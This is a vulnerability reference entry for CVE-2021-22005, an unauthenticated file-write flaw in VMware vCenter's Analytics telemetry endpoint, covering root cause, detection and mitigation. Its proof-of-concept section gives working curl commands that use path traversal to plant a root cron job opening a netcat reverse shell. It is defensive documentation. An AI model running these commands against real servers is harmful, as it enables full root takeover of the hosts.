vCenter Analytics Service File Upload

aka vCenter CEIP telemetry RCE

Product: VMware vCenter Server
CVE: CVE-2021-22005
Disclosed: 2021-09-21
CVSS: 9.8
Auth: pre-auth
CISA KEV: yes
Affected: vCenter Server 6.7 (Appliance) before 6.7 U3o and 7.0 before 7.0 U2c; Cloud Foundation 3.x/4.x.
Fixed: vCenter 6.7 U3o, 7.0 U2c (VMSA-2021-0020).

Summary

An unauthenticated arbitrary file write in vCenter's Analytics (CEIP telemetry) service. Within days of the advisory, attackers were writing JSP webshells or cron jobs through it.

Root cause

The /analytics/telemetry/ph/api/hyper/send endpoint accepted unauthenticated requests whose _c (collector) and _i (instance) parameters were used to build a log file path without sanitization. Path traversal in _i plus attacker-controlled body content gives arbitrary file write as root, e.g. into a cron directory or a Tomcat webapp.

Impact

Unauthenticated root-level RCE on vCenter Server Appliance via TCP/443.

Public PoC

# 1) create the collector/instance directory
curl -kv "https://vcenter.lab/analytics/telemetry/ph/api/hyper/send?_c=&_i=/$RANDOM" \
  -H Content-Type: -d ""

# 2) path traversal: write a cron job as root
curl -kv "https://vcenter.lab/analytics/telemetry/ph/api/hyper/send?_c=&_i=/../../../../../../etc/cron.d/$RANDOM" \
  -H Content-Type: -d "* * * * * root nc -e /bin/sh 10.0.0.1 4444"

Source: Rapid7 analysis (William Vu) - CVE-2021-22005

Detection

Watch for unexpected *.json files in /etc/cron.d and new directories under /var/log/vmware/analytics/prod/ (Rapid7 notes no attack-specific log entries are written). Proxy/WAF logs showing /analytics/telemetry/ph/api/hyper/send with '../' in _i indicate exploitation. Nuclei template CVE-2021-22005.

Mitigation

Upgrade per VMSA-2021-0020 or apply the KB85717 workaround script that disables the vulnerable endpoint.